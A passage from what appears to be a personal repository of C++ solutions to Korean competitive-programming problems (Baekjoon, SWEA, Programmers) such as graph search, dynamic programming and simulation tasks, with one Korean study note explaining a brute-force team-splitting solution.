// return (abs(x - bc.x) + abs(y - bc.y)) <= bc.range;
//}
//
//bool cmp(BC bc1, BC bc2) {
// return bc1.power < bc2.power;
//}
//
//void dfs(int cnt, int result) {
// if (cnt == 2) {
// sum = result > sum ? result : sum;
// return;
// }
// //B
// if (cnt == 1) {
// for (int i = 0; i < bc.size(); i++) {
// if (bc[i].Bused == true && bc[i].check == false) {
// dfs(cnt + 1, result + bc[i].power);
// }
// }
// }
// //A
// if (cnt == 0) {
// for (int i = 0; i < bc.size(); i++) {
// if (bc[i].Aused == true) {
// bc[i].check = true;
// dfs(cnt + 1, result + bc[i].power);
// bc[i].check = false;
// }
// }
// }
// dfs(cnt + 1, result);
//}
//void findAns() {
// aLocation = { 1,1 };
// bLocation = { 10,10 };
// //각 타임마다
// for (int i = 0; i <= M; i++) {
// for (int dir = 0; dir < 5; dir++) {
// //A이동
// if (aMove[i] == dir) {
// int nx = aLocation.first + dx[dir];
// int ny = aLocation.second + dy[dir];
// if (nx < 1 || ny < 1 || nx>10 || ny>10) continue;
// aLocation.first = nx;
// aLocation.second = ny;
// }
// //B이동
// if (bMove[i] == dir) {
// int nx = bLocation.first + dx[dir];
// int ny = bLocation.second + dy[dir];
// if (nx < 1 || ny < 1 || nx>10 || ny>10) continue;
// bLocation.first = nx;
// bLocation.second = ny;
// }
// }
// //A와 연결할 수 있는 충전소 찾기
// for (int j = 0; j < A; j++) {
// if (isPossibeConnect(aLocation.first, aLocation.second, bc[j])) {
// bc[j].Aused = true;
// }
// }
// //B와 연결할 수 있는 충전소 찾기
// for (int j = 0; j < A; j++) {
// if (isPossibeConnect(bLocation.first, bLocation.second, bc[j])) {
// bc[j].Bused = true;
// }
// }
// //A,B 최적 충전소 찾기
// dfs(0, 0);
// ans += sum;
// sum = -2e9;
// //used 초기화
// for (int i = 0; i < bc.size(); i++) {
// bc[i].Aused = false;
// bc[i].Bused = false;
// }
// }
//}
//
//int main() {
// cin >> T;
// for (int t = 1; t <= T; t++) {
// input();
// findAns();
// cout << "#" << t << ' ' << ans << '\n';
// bc.clear();
// ans = 0;
// }
// return 0;
//}
//
////////////////////////////////////////// A,B 움직이는 경우 if문으로 작성(가독성은 더 좋을 수도) ////////////////////////////////////////
////#include <iostream>
////#include <vector>
////#include <utility>
////#include <math.h>
////#include <algorithm>
////#define UP 1
////#define RIGHT 2
////#define DOWN 3
////#define LEFT 4
////using namespace std;
////
////int T;
////int M, A;
////int ans;
////int sum = -2e9;
////vector<int> aMove, bMove; // a,b 이동방향
////pair<int, int> aLocation, bLocation;
////struct BC
////{
//// int x, y;
//// int range;
//// int power;
//// bool Aused;
//// bool Bused;
//// bool check;
////};
////vector<BC> bc; //bc
////
////void input() {
//// cin >> M >> A;
//// aMove.clear();
//// bMove.clear();
//// //처음 위치도 체크하므로 '이동하지않음'을 맨 처음에 넣어준다.
//// aMove.push_back(0);
//// bMove.push_back(0);
//// for (int i = 0; i < M; i++) {
//// int input;
//// cin >> input;
//// aMove.push_back(input);
//// }
//// for (int i = 0; i < M; i++) {
//// int input;
//// cin >> input;
//// bMove.push_back(input);
//// }
//// for (int i = 0; i < A; i++) {
//// BC b;
//// int x, y, r, p;
//// cin >> x >> y >> r >> p;
//// b = { x,y,r,p,false,false,false };
//// bc.push_back(b);
//// }
////}
////
////bool isPossibeConnect(int x, int y, BC bc) {
//// return (abs(x - bc.x) + abs(y - bc.y)) <= bc.range;
////}
////
////bool cmp(BC bc1, BC bc2) {
//// return bc1.power < bc2.power;
////}
////
////void dfs(int cnt, int result) {
//// if (cnt == 2) {
//// sum = result > sum ? result : sum;
//// return;
//// }
//// //B
//// if (cnt == 1) {
//// for (int i = 0; i < bc.size(); i++) {
//// if (bc[i].Bused == true && bc[i].check == false) {
//// dfs(cnt + 1, result + bc[i].power);
//// }
//// }
//// }
//// //A
//// if (cnt == 0) {
//// for (int i = 0; i < bc.size(); i++) {
//// if (bc[i].Aused == true) {
//// bc[i].check = true;
//// dfs(cnt + 1, result + bc[i].power);
//// bc[i].check = false;
//// }
//// }
//// }
//// dfs(cnt + 1, result);
////}
////void findAns() {
//// aLocation = { 1,1 };
//// bLocation = { 10,10 };
//// //각 타임마다
//// for (int i = 0; i <= M; i++) {
//// //A이동
//// if (aMove[i] == UP && aLocation.second - 1 >= 1) {
//// aLocation.second--;
//// }
//// if (aMove[i] == RIGHT && aLocation.first + 1 <= 10) {
//// aLocation.first++;
//// }
//// if (aMove[i] == DOWN && aLocation.second + 1 <= 10) {
//// aLocation.second++;
//// }
//// if (aMove[i] == LEFT && aLocation.first - 1 >= 1) {
//// aLocation.first--;
//// }
//// //A연결할 수 있는 충전소 찾기
//// for (int j = 0; j < A; j++) {
//// if (isPossibeConnect(aLocation.first, aLocation.second, bc[j])) {
//// bc[j].Aused = true;
//// }
//// }
//// //B이동
//// if (bMove[i] == UP && bLocation.second - 1 >= 1) {
//// bLocation.second--;
//// }
//// if (bMove[i] == RIGHT && bLocation.first + 1 <= 10) {
//// bLocation.first++;
//// }
//// if (bMove[i] == DOWN && bLocation.second + 1 <= 10) {
//// bLocation.second++;
//// }
//// if (bMove[i] == LEFT && bLocation.first - 1 >= 1) {
//// bLocation.first--;
//// }
//// //B와 연결할 수 있는 충전소 찾기
//// for (int j = 0; j < A; j++) {
//// if (isPossibeConnect(bLocation.first, bLocation.second, bc[j])) {
//// bc[j].Bused = true;
//// }
//// }
//// //A,B 최적 충전소 찾기
//// dfs(0, 0);
//// ans += sum;
//// sum = -2e9;
//// //used 초기화
//// for (int i = 0; i < bc.size(); i++) {
//// bc[i].Aused = false;
//// bc[i].Bused = false;
//// }
//// }
////}
////
////void output() {
//// cout << M << ' ' << A << '\n';
//// for (int i = 0; i <= M; i++) {
//// cout << aMove[i];
//// }
//// cout << '\n';
//// for (int i = 0; i <= M; i++) {
//// cout << bMove[i];
//// }
//// cout << '\n';
//// for (int i = 0; i < bc.size(); i++) {
//// cout << bc[i].x << bc[i].y << bc[i].range << bc[i].power;
//// cout << '\n';
//// }
////}
////
////int main() {
//// cin >> T;
//// for (int t = 1; t <= T; t++) {
//// input();
//// findAns();
//// cout << "#" << t << ' ' << ans << '\n';
//// bc.clear();
//// ans = 0;
//// }
//// return 0;
////}<file_sep>/baekjoon/ABC(3047).cpp
#include <iostream>
#include <map>
#include <algorithm>
#include <vector>
using namespace std;
map<char, int> m;
vector<int> v;
void input() {
int x;
for (int i = 0; i < 3; i++) {
cin >> x;
v.push_back(x);
}
sort(v.begin(), v.end());
}
void findAns() {
for (char i = 'C'; i >= 'A'; i--) {
m[i] = v.back();
v.pop_back();
}
char c;
for (int i = 0; i < 3; i++) {
cin >> c;
cout << m[c] << ' ';
}
}
int main() {
ios::sync_with_stdio(false);
input();
findAns();
return 0;
}<file_sep>/baekjoon/N과 M(5) (15654).cpp
#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
int N, M;
int arr[9];
bool used[9];
vector<int> v;
void dfs(int cnt) {
if (cnt == M) {
for (int val : v) cout << val << ' ';
cout << '\n';
return;
}
for (int cur = 0; cur < N; cur++) {
if (!used[cur]) {
used[cur] = true;
v.push_back(arr[cur]);
dfs(cnt + 1);
v.pop_back();
used[cur] = false;
}
}
}
void findAns() {
sort(arr, arr + N);
dfs(0);
}
void input() {
cin >> N >> M;
for (int i = 0; i < N; i++) {
cin >> arr[i];
}
}
int main() {
ios_base::sync_with_stdio(false);
input();
findAns();
return 0;
}<file_sep>/baekjoon/단어 나누기(1251).cpp
//나눈후, 뒤집은 문자열에 대해 맨 앞 알파벳을 하나하나씩 자르면서 사전순 비교
#include <iostream>
#include <string>
using namespace std;
string str, word, ans;
int index;
string reverse(string word) {
string rev;
for (int i = word.size() - 1; i >= 0; i--) {
rev += word[i];
}
return rev;
}
string findMinWord(string word) {
string minWord = word.substr(0);
index = word.size()-1;
for (int i = 1; i < word.size(); i++) {
if (minWord > word.substr(i)) {
minWord = word.substr(i);
index = (word.size() - 1) - i;
}
}
str = str.substr(index+1);
return minWord;
}
void findAns() {
for (int i = 2; i >= 1; i--) {
word = str.substr(0, str.size() - i);
ans += findMinWord(reverse(word));
}
for (int i = str.size() - 1; i >= 0; i--) {
ans += str[i];
}
}
int main() {
cin >> str;
findAns();
cout << ans;
return 0;
}
//중복 처리 못한 코드
//#include <iostream>
//#include <string>
//
//using namespace std;
//string str, tmp, ans;
//
//void reverse(int index) {
// for (int i = index; i >= 0; i--) {
// ans += tmp[i];
// }
// str = str.substr(index + 1);
//}
//
//void findMinAlphabet(string tmp) {
// char m = tmp[0];
// int index = 0;
// for (int i = 1; i < tmp.size(); i++) {
// if (m > tmp[i]) {
// m = tmp[i];
// index = i;
// }
// }
// reverse(index);
//}
//
//void findAns() {
// tmp = str.substr(0, str.size() - 2);
// findMinAlphabet(tmp);
// tmp = str.substr(0, str.size() - 1);
// findMinAlphabet(tmp);
// for (int i = str.size() - 1; i >= 0; i--) {
// ans += str[i];
// }
//}
//
//int main() {
// cin >> str;
// findAns();
// cout << ans;
// return 0;
// }<file_sep>/baekjoon/프로그래머스_카카오프렌즈 컬러링북cpp.cpp
#include <iostream>
#include <vector>
#include <queue>
#include <string.h>
using namespace std;
bool used[102][102];
int dy[4] = { -1,1,0,0 };
int dx[4] = { 0,0,-1,1 };
struct Result {
int area = 0;
int max = -2e9;
void init(int area, int max) {
this->area = area;
this->max = max;
}
};
struct Pos {
int y, x;
Pos(int y, int x) {
this->y = y;
this->x = x;
}
};
Result result;
void bfs(int m, int n, vector<vector<int>> &picture, int y, int x) {
queue<Pos> q;
q.push(Pos(y, x));
used[y][x] = true;
int cnt = 1;
while (!q.empty()) {
Pos cur = q.front(); q.pop();
for (int k = 0; k < 4; k++) {
int ny = cur.y + dy[k];
int nx = cur.x + dx[k];
if (ny < 0 || nx < 0 || ny >= m || nx >= n) continue;
if (!used[ny][nx] && picture[ny][nx] == picture[y][x]) {
used[ny][nx] = true;
q.push(Pos(ny, nx));
cnt++;
}
}
}
result.max = result.max < cnt ? cnt : result.max;
}
vector<int> solution(int m, int n, vector<vector<int>> picture) {
memset(used, false, sizeof(used));
result.init(0, -2e9);
for (int i = 0; i < m; i++) {
for (int j = 0; j < n; j++) {
if (!used[i][j] && picture[i][j] != 0) {
result.area++;
bfs(m, n, picture, i, j);
}
}
}
vector<int> answer(2);
answer[0] = result.area;
answer[1] = result.max;
return answer;
}<file_sep>/baekjoon/프로그래머스_이중우선순위큐.cpp
#include <string>
#include <vector>
#include <queue>
#include <algorithm>
#include <iostream>
using namespace std;
string mxDel = "D 1";
string mnDel = "D -1";
deque<int> dq;
vector<int> solution(vector<string> operations) {
int val = 0;
string num = "";
vector<int> answer;
answer.resize(2);
for (string str : operations) {
if (str == mxDel) {
if (!dq.empty()) dq.pop_back();
}
else if (str == mnDel) {
if (!dq.empty()) dq.pop_front();
}
else {
num = str.substr(2);
val = stoi(num);
dq.push_back(val);
}
sort(dq.begin(), dq.end());
}
answer[0] = dq.empty() ? 0 : dq.back();
answer[1] = dq.empty() ? 0 : dq.front();
return answer;
}<file_sep>/baekjoon/ccw(11758).cpp
#include <iostream>
#include <vector>
#define FIRST 0
#define SECOND 1
#define THIRD 2
using namespace std;
struct pos
{
int x, y;
};
vector<pos> v;
int findAns() {
int val = (v[FIRST].x*v[SECOND].y + v[SECOND].x*v[THIRD].y + v[THIRD].x*v[FIRST].y)
- (v[FIRST].y*v[SECOND].x + v[SECOND].y*v[THIRD].x + v[THIRD].y*v[FIRST].x);
if (val > 0) return 1;
if (val < 0) return -1;
return 0;
}
int main() {
pos p;
for (int i = 0; i < 3; i++) {
scanf("%d %d", &p.x, &p.y);
v.push_back(p);
}
printf("%d", findAns());
return 0;
}<file_sep>/baekjoon/뒤집힌 덧셈(1357).cpp
#include <iostream>
#include <queue>
#include <math.h>
using namespace std;
int a, b;
int rev(int n) {
queue <int> q;
int result = 0;
while (n != 0) {
q.push(n % 10);
n /= 10;
}
while (!q.empty()) {
result += q.front() * pow(10, q.size() - 1);
q.pop();
}
return result;
}
int main() {
scanf("%d %d", &a, &b);
printf("%d", rev(rev(a) + rev(b)));
return 0;
}<file_sep>/baekjoon/쉬운 계단 수(10844).cpp
#include <iostream>
using namespace std;
long long dp[101][10];
long long ans;
long long divi = 1000000000;
int n;
void findAns() {
for (int j = 1; j <= 9; j++) dp[1][j] = 1;
for (int i = 2; i <= n; i++) {
for (int j = 0; j <= 9; j++) {
if (j == 0)
dp[i][j] = dp[i - 1][j + 1];
if (j == 9)
dp[i][j] = dp[i - 1][j - 1];
else if (j > 0 && j < 9)
dp[i][j] = dp[i - 1][j - 1] + dp[i - 1][j + 1];
dp[i][j] %= divi;
}
}
for (int i = 0; i <= 9; i++)
ans += dp[n][i];
}
int main() {
cin >> n;
findAns();
cout << ans % divi;
return 0;
}<file_sep>/baekjoon/카이사르 암호(5598).cpp
#include <iostream>
#include <string>
using namespace std;
string str;
int main() {
cin >> str;
for (char s : str) {
if (s < 'D') {
cout << char('Z' - ('C'-s));
}
else {
cout << char(s - 3);
}
}
return 0;
}<file_sep>/baekjoon/5와 6의 차이(2864).cpp
#include <iostream>
#include <string>
#include <stdlib.h>
using namespace std;
string first, second;
int minVal, maxVal;
void findAns(string str) {
for (int i = 0; i < str.size(); i++) {
if (str[i] == '6') str[i] = '5';
}
minVal += atoi(str.c_str());
for (int i = 0; i < str.size(); i++) {
if (str[i] == '5') str[i] = '6';
}
maxVal += atoi(str.c_str());
}
int main() {
cin >> first >> second;
findAns(first);
findAns(second);
cout << minVal << ' ' << maxVal;
return 0;
}<file_sep>/baekjoon/올림픽(8979).cpp
#include <iostream>
#include <algorithm>
#include <vector>
using namespace std;
struct Country {
int num, gold, silver, bronze;
Country(int n, int g, int s, int b) {
this->num = n;
this->gold = g;
this->silver = s;
this->bronze = b;
}
Country() {}
};
int N, K;
vector<Country> v;
bool cmp(Country &first, Country &second) {
if (first.gold == second.gold) {
if (first.silver == second.silver) {
return first.bronze > second.bronze;
}
return first.silver > second.silver;
}
return first.gold > second.gold;
}
void input() {
int n, g, s, b;
for (int i = 1; i <= N; i++) {
cin >> n >> g >> s >> b;
v.push_back(Country(n, g, s, b));
}
}
bool isSame(Country &first, Country &second) {
return (first.gold == second.gold
&& first.silver == second.silver
&& first.bronze == second.bronze);
}
int findAns() {
sort(v.begin(), v.end(), cmp);
int rank = 1, same = 1;
for (int i = 0; i < v.size() - 1; i++) {
if (v[i].num == K) return rank;
if (isSame(v[i], v[i + 1])) same++;
else if (same > 1) {
rank += same;
same = 1;
}
else rank++;
}
return rank;
}
int main() {
ios_base::sync_with_stdio(false);
cin >> N >> K;
input();
cout << findAns();
return 0;
}<file_sep>/baekjoon/폴리오미노(1343).cpp
#include <iostream>
#include <string>
#define A 4
#define B 2
#define DOT '.'
using namespace std;
string str;
bool checkA(int cur) {
for (int i = cur; i < cur + A; i++) {
if (str[i] == DOT || i >= str.size()) return false;
}
return true;
}
bool checkB(int cur) {
for (int i = cur; i < cur + B; i++) {
if (str[i] == DOT || i >= str.size()) return false;
}
return true;
}
void install(int cur, int range, char type) {
for (int i = cur; i < cur + range; i++) {
str[i] = type;
}
}
string findAns() {
int i = 0;
for (i = 0; i < str.size(); i++) {
if (str[i] == DOT) continue;
if (checkA(i)) {
install(i, A, 'A');
i += A - 1;
continue;
}
if (checkB(i)) {
install(i, B, 'B');
i += B - 1;
continue;
}
return "-1";
}
return str;
}
int main() {
cin >> str;
cout << findAns();
return 0;
}
//string 입력 받고, 맨 앞 인덱스부터 A 설치할 수 있는지 확인
//안되면 B 설치할 수 있는지 확인
//만약 A,B 중 하나라도 설치할 수 있다면, 설치 후 그 다음 인덱스부터 위 작업 반복
//만약 A,B 둘 다 설치가 안될 경우 -1 출력<file_sep>/baekjoon/swea_다양성 측정(7728).cpp
#include <iostream>
using namespace std;
int tc;
bool isDuplicate[10];
void initDuplicate() {
for (int i = 0; i < 10; i++) isDuplicate[i] = false;
}
void findAns(int testCase) {
int num, cnt = 0;
cin >> num;
initDuplicate();
while (num != 0) {
if (!isDuplicate[num % 10]) {
cnt++;
isDuplicate[num % 10] = true;
}
num /= 10;
}
cout << "#" << testCase << ' ' << cnt << '\n';
}
int main() {
cin >> tc;
for (int t = 1; t <= tc; t++) {
findAns(t);
}
return 0;
}<file_sep>/baekjoon/로봇 조종하기(2169).cpp
#include <iostream>
#include <algorithm>
using namespace std;
int arr[1001][1001], dp[1001][1001], temp[2][1001];
int N, M;
void findAns() {
//테두리 작업
dp[0][0] = arr[0][0];
for (int i = 1; i < M; i++) dp[0][i] = arr[0][i] + dp[0][i - 1];
for (int i = 1; i < N; i++) {
//왼쪽 mx
temp[0][0] = dp[i - 1][0] + arr[i][0];
for (int j = 1; j < M; j++) {
temp[0][j] = arr[i][j] + max(temp[0][j - 1], dp[i - 1][j]);
}
//오른쪽 mx
temp[1][M - 1] = dp[i - 1][M - 1] + arr[i][M - 1];
for (int j = M - 2; j >= 0; j--) {
temp[1][j] = arr[i][j] + max(temp[1][j + 1], dp[i - 1][j]);
}
//총 mx
for (int j = 0; j < M; j++) {
dp[i][j] = max(temp[0][j], temp[1][j]);
}
}
}
int main() {
scanf("%d %d", &N, &M);
for (int i = 0; i < N; i++) {
for (int j = 0; j < M; j++) {
scanf("%d", &arr[i][j]);
}
}
findAns();
printf("%d", dp[N - 1][M - 1]);
return 0;
}<file_sep>/baekjoon/DFS와 BFS.cpp
#include <iostream>
#include <string.h>
#include <queue>
#define MAX 1001
using namespace std;
int N, M, V, from, to;
int arr[MAX][MAX];
bool visited[MAX];
queue<int> q;
void dfs(int cur) {
visited[cur] = true;
printf("%d ", cur);
for (int i = 1; i <= N; i++) {
if (visited[i] == false && arr[cur][i] == 1) {
dfs(i);
}
}
}
void bfs(int cur) {
visited[cur] = true;
q.push(cur);
while (!q.empty()) {
int now = q.front();
q.pop();
printf("%d ", now);
for (int i = 1; i <= N; i++) {
if (visited[i] == false && arr[now][i] == 1) {
visited[i] = true;
q.push(i);
}
}
}
}
int main() {
scanf("%d %d %d", &N, &M, &V);
for (int i = 0; i < M; i++) {
scanf("%d %d", &from, &to);
arr[from][to] = arr[to][from] = 1;
}
dfs(V);
printf("\n");
memset(visited, false, sizeof(visited));
bfs(V);
return 0;
}<file_sep>/baekjoon/치킨배달(15686).cpp
#include <iostream>
#include <math.h>
#include <algorithm>
using namespace std;
struct Pos {
int y, x, dist = 2e9;
Pos(int y, int x) {
this->y = y;
this->x = x;
}
Pos() {}
};
int N, M, storeSize, homeSize, ans = 2e9;
int arr[51][51];
bool used[14];
Pos store[14], home[101];
void copyTemp(Pos to[101] , Pos from[101]) {
for (int i = 0; i < homeSize; i++) {
to[i] = from[i];
}
}
void dfs(int cnt, int idx) {
if (cnt == M) { //치킨집 M개를 다 골랐을 경우, 도시의 치킨거리를 구해준다.
int sum = 0;
for (int i = 0; i < homeSize; i++) {
sum += home[i].dist;
}
ans = ans > sum ? sum : ans;
return;
}
Pos backup[101];
for (int i = idx; i < storeSize; i++) { //하나의 선택한 치킨집에 대해
copyTemp(backup, home);
if (used[i] == false) {
used[i] = true;
for (int j = 0; j < homeSize; j++) {
int diff = abs(home[j].y - store[i].y) + abs(home[j].x - store[i].x);
home[j].dist = home[j].dist > diff ? diff : home[j].dist;
}
dfs(cnt + 1, i + 1);
used[i] = false;
copyTemp(home, backup);
}
}
}
int main() {
scanf("%d %d", &N, &M);
for (int i = 1; i <= N; i++) {
for (int j = 1; j <= N; j++) {
scanf("%d", &arr[i][j]);
if (arr[i][j] == 1) {
home[homeSize++] = Pos(i, j);
}
else if (arr[i][j] == 2) {
store[storeSize++] = Pos(i, j);
}
}
}
dfs(0,0);
printf("%d", ans);
return 0;
}<file_sep>/baekjoon/남욱이의 닭장(11006).cpp
#include <iostream>
using namespace std;
int tc, leg, n;
int main() {
cin >> tc;
for (int t = 1; t <= tc; t++) {
cin >> leg >> n;
int nn = n * 2;
cout << nn - leg << ' ' << n - (nn - leg) << '\n';
}
return 0;
}<file_sep>/baekjoon/감시(15683).cpp
#include <iostream>
#include <vector>
#include <string.h>
#define UP 0
#define DOWN 2
#define LEFT 1
#define RIGHT 3
using namespace std;
int N, M, ans=2e9;
int arr[9][9], backup[9][9];
int dirInfo[6] = { 0,4,2,4,4,1 }; //각 cctv의 회전 경우의 수 (인덱스와 cctv번호 일치를 위해 0인덱스에 0값 넣음)
struct CCTV {
int type, y, x;
CCTV(int type, int y, int x) {
this->type = type;
this->y = y;
this->x = x;
}
CCTV() {}
};
vector<CCTV> cctvs;
void update(int dir, CCTV cur) {
dir %= 4;
if (dir == UP) {
for (int i = cur.y; i >= 0; i--) {
if (arr[i][cur.x] == 6) break;
if (arr[i][cur.x] == 0) arr[i][cur.x] = -1;
}
}
if (dir == DOWN) {
for (int i = cur.y; i < N; i++) {
if (arr[i][cur.x] == 6) break;
if (arr[i][cur.x] == 0) arr[i][cur.x] = -1;
}
}
if (dir == LEFT) {
for (int i = cur.x; i >= 0; i--) {
if (arr[cur.y][i] == 6) break;
if (arr[cur.y][i] == 0) arr[cur.y][i] = -1;
}
}
if (dir == RIGHT) {
for (int i = cur.x; i < M; i++) {
if (arr[cur.y][i] == 6) break;
if (arr[cur.y][i] == 0) arr[cur.y][i] = -1;
}
}
}
void copyMap(int to[9][9], int from[9][9]) {
for (int i = 0; i < N; i++) {
for (int j = 0; j < M; j++) {
to[i][j] = from[i][j];
}
}
}
void dfs(int cctvIdx) {
if (cctvIdx == cctvs.size()) {
int cnt = 0;
for (int i = 0; i < N; i++) {
for (int j = 0; j < M; j++) {
if (arr[i][j] == 0) cnt++;
}
}
ans = ans > cnt ? cnt : ans;
return;
}
int backup[9][9]; //전역이 아닌 지역변수로 선언해야,, 재귀마다 생성되는 스택영역에 해당 정보를 가질 수 있음
int type = cctvs[cctvIdx].type; //특정 cctv 찾기
for (int dir = 0; dir < dirInfo[type]; dir++) { //특정 cctv의 모든 회전 경우에 대해
copyMap(backup, arr);
if (type == 1) {
update(dir, cctvs[cctvIdx]); //특정 방향에 대해 update
dfs(cctvIdx + 1);
}
else if (type == 2) {
update(dir, cctvs[cctvIdx]);
update(dir + 2, cctvs[cctvIdx]);
dfs(cctvIdx + 1);
}
else if (type == 3) {
update(dir, cctvs[cctvIdx]);
update(dir + 3, cctvs[cctvIdx]);
dfs(cctvIdx + 1);
}
else if (type == 4) {
update(dir, cctvs[cctvIdx]);
update(dir + 1, cctvs[cctvIdx]);
update(dir + 3, cctvs[cctvIdx]);
dfs(cctvIdx + 1);
}
else if (type == 5) {
update(dir, cctvs[cctvIdx]);
update(dir + 1, cctvs[cctvIdx]);
update(dir + 2, cctvs[cctvIdx]);
update(dir + 3, cctvs[cctvIdx]);
dfs(cctvIdx + 1);
}
copyMap(arr, backup);
}
}
int main() {
scanf("%d %d", &N, &M);
for (int i = 0; i < N; i++) {
for (int j = 0; j < M; j++) {
scanf("%d", &arr[i][j]);
if (arr[i][j] != 6 && arr[i][j] != 0) {
cctvs.push_back(CCTV(arr[i][j], i, j));
}
}
}
dfs(0);
printf("%d", ans);
return 0;
}<file_sep>/TIL/2019-03-20(스타트와 링크_14889).md
# [스타트와 링크(14889번)](https://www.acmicpc.net/problem/14889)
## 문제
오늘은 스타트링크에 다니는 사람들이 모여서 축구를 해보려고 한다. 축구는 평일 오후에 하고 의무 참석도 아니다. 축구를 하기 위해 모인 사람은 총 N명이고 신기하게도 N은 짝수이다. 이제 N/2명으로 이루어진 스타트 팀과 링크 팀으로 사람들을 나눠야 한다.
BOJ를 운영하는 회사 답게 사람에게 번호를 1부터 N까지로 배정했고, 아래와 같은 능력치를 조사했다. 능력치 Sij는 i번 사람과 j번 사람이 같은 팀에 속했을 때, 팀에 더해지는 능력치이다. 팀의 능력치는 팀에 속한 모든 쌍의 능력치 Sij의 합이다. Sij는 Sji와 다를 수도 있으며, i번 사람과 j번 사람이 같은 팀에 속했을 때, 팀에 더해지는 능력치는 Sij와 Sji이다.
N=4이고, S가 아래와 같은 경우를 살펴보자.
~~~
i\j 1 2 3 4
1 1 2 3
2 4 5 6
3 7 1 2
4 3 4 5
~~~
예를 들어, 1, 2번이 스타트 팀, 3, 4번이 링크 팀에 속한 경우에 두 팀의 능력치는 아래와 같다.
- 스타트 팀: S12 + S21 = 1 + 4 = 5
- 링크 팀: S34 + S43 = 2 + 5 = 7
1, 3번이 스타트 팀, 2, 4번이 링크 팀에 속하면, 두 팀의 능력치는 아래와 같다.
- 스타트 팀: S13 + S31 = 2 + 7 = 9
- 링크 팀: S24 + S42 = 6 + 4 = 10
축구를 재미있게 하기 위해서 스타트 팀의 능력치와 링크 팀의 능력치의 차이를 최소로 하려고 한다. 위의 예제와 같은 경우에는 1, 4번이 스타트 팀, 2, 3번 팀이 링크 팀에 속하면 스타트 팀의 능력치는 6, 링크 팀의 능력치는 6이 되어서 차이가 0이 되고 이 값이 최소이다.
## 입력
첫째 줄에 N(4 ≤ N ≤ 20, N은 짝수)이 주어진다. 둘째 줄부터 N개의 줄에 S가 주어진다. 각 줄은 N개의 수로 이루어져 있고, i번 줄의 j번째 수는 Sij 이다. Sii는 항상 0이고, 나머지 Sij는 1보다 크거나 같고, 100보다 작거나 같은 정수이다.
## 풀이
브루트포스 문제이다. 먼저, 총 N명을 반으로 나눠 2팀을 만들어야 한다. 뽑았는지, 안뽑았는지 상태값을 의미하는 used라는 1차원 배열을 선언한다. 이후, 재귀함수를 돌면서 뽑은 인원이 2/N이 되면 2팀이 결정되므로, 각 팀마다 능력치의 합산 차이를 구해주면 된다.
시간 복잡도를 구해보자.
- n명중 반을 뽑는 경우의 수 : nCn/2
- 뽑은 인원을 각 팀 배열에 저장 : n
- 각 팀의 능력치를 구하는 2중 for문 : (n/2)^2
따라서, O(nCn/2*(n+(n/2)^2))의 시간복잡도를 가진다. 이때, 최대 n의 값이 20이므로, 18만(20C10)*120 = 2200만이 된다. 이는 시간 내에 해결할 수 있다.
여기서! 시간을 더 줄일 수 있는 방법이 있다. n명 중 반을 뽑는 경우의 수 중에 중복되는 부분을 제거해주면 된다. n명 중 반을 뽑으면, 나머지 반은 굳이 뽑을 필요가 없다. (자동 팀이 완성 되므로) 불필요한 연산을 줄이도록하자.
예로, 1,2,3,4의 팀원 중 2팀을 나눌때 경우의 수는 다음과 같다.
~~~
1 2
1 3
1 4
2 3
2 4
3 4
~~~
여기서 중복되는 부분이 보이지 않는가? 내가 만약 1,2(첫 번째 경우)를 한 팀으로 뽑았다면, 자동으로 3,4가 팀으로 이루어지게 된다. 그런데 맨 밑에 보면 3,4를 또 뽑고 있다. 중복되는 것이다. 이를 해결하려면 1은 무조건 뽑아놓고 나머지를 2,3,4 중에 하나면 고르도록 하면 된다.
~~~
1 2
1 3
1 4
~~~
이렇게 말이다.
그러면 전체 시간을 절반으로 줄일 수 있다. (실제 40ms -> 28ms) 정확히 절반은 아니네;;
## [소스코드](https://github.com/foreverever/baekjoon/blob/master/baekjoon/%EC%8A%A4%ED%83%80%ED%8A%B8%EC%99%80%20%EB%A7%81%ED%81%AC(14889).cpp)
## 부족한 부분
재귀, 백트래킹
## 내일 할 일
- 삼성 알고리즘 2문제
- java 공부
<file_sep>/baekjoon/프린터 큐(1966).cpp
#include <iostream>
#include <queue>
#include <vector>
#include <utility>
#include <algorithm>
using namespace std;
int tc, N, M; //테스트케이스, 문서 개수, 찾고자 하는 문서 인덱스
void input(queue<pair<int, int> > &q, vector<int> &v) {
cin >> N >> M;
int x;
for (int i = 0; i < N; i++) {
cin >> x;
q.push({ x,i });
v.push_back(x);
}
}
int findAns() {
queue <pair<int, int> > q; //문서의 중요도와 인덱스
vector<int> v; //문서의 중요도
input(q, v);
sort(v.begin(), v.end());
while (1) {
//가장 높은 중요도와 큐 맨앞의 중요도가 같을 때
if (q.front().first==v.back()) {
//내가 원하는 문서 찾았을 때
if (q.front().second == M) {
q.pop();
return (N - q.size());
}
q.pop();
v.pop_back();
continue;
}
q.push(q.front());
q.pop();
}
}
int main() {
cin >> tc;
for (int t = 1; t <= tc; t++) {
cout << findAns() <<'\n';
}
return 0;
}<file_sep>/baekjoon/소트인사이드(1427).cpp
#include <iostream>
#include <string>
#include <algorithm>
using namespace std;
string s;
bool cmp(char &c1, char &c2) {
return c1 > c2;
}
int main() {
cin >> s;
sort(s.begin(), s.end(), cmp);
cout << s;
return 0;
}<file_sep>/baekjoon/소수의 곱(2014).cpp
#include <iostream>
#include <set>
#include <vector>
using namespace std;
int k, n;
long long maxVal = 2e10;
set<long long> s;
vector<int> prime;
void input() {
int input = 0;
for (int i = 0; i < k; i++) {
cin >> input;
prime.push_back(input);
s.insert(input);
}
}
int findAns() {
set<long long>::iterator iter;
int cnt = 0;
long long next = 0;
for (iter = s.begin(); iter != s.end(); iter++) {
for (int i = 0; i < prime.size(); i++) {
if (s.size() == n) {
maxVal = *(--s.end());
}
next = *iter*prime[i];
if (maxVal > next) {
s.insert(next);
}
}
cnt++;
if (cnt == n) return *iter;
}
}
int main() {
cin >> k >> n;
input();
cout << findAns();
return 0;
}<file_sep>/baekjoon/완전제곱수(1977).cpp
#include <iostream>
#include <math.h>
using namespace std;
struct Ans {
int sum = 0, mn = 0;
bool isExist = false;
};
int start, back;
Ans findAns() {
Ans ans;
int nStart = sqrt(start);
int nBack = sqrt(back);
for (int i = nStart; i <= nBack; i++) {
int cur = pow(i, 2);
if (cur >= start && cur <= back) {
if (!ans.isExist) {
ans.mn = cur;
ans.isExist = true;
}
ans.sum += cur;
}
}
return ans;
}
int main() {
cin >> start >> back;
Ans ans = findAns();
if (ans.isExist) cout << ans.sum << '\n' << ans.mn;
else cout << -1;
return 0;
}<file_sep>/baekjoon/미세먼지 안녕!(17144).cpp
#include <iostream>
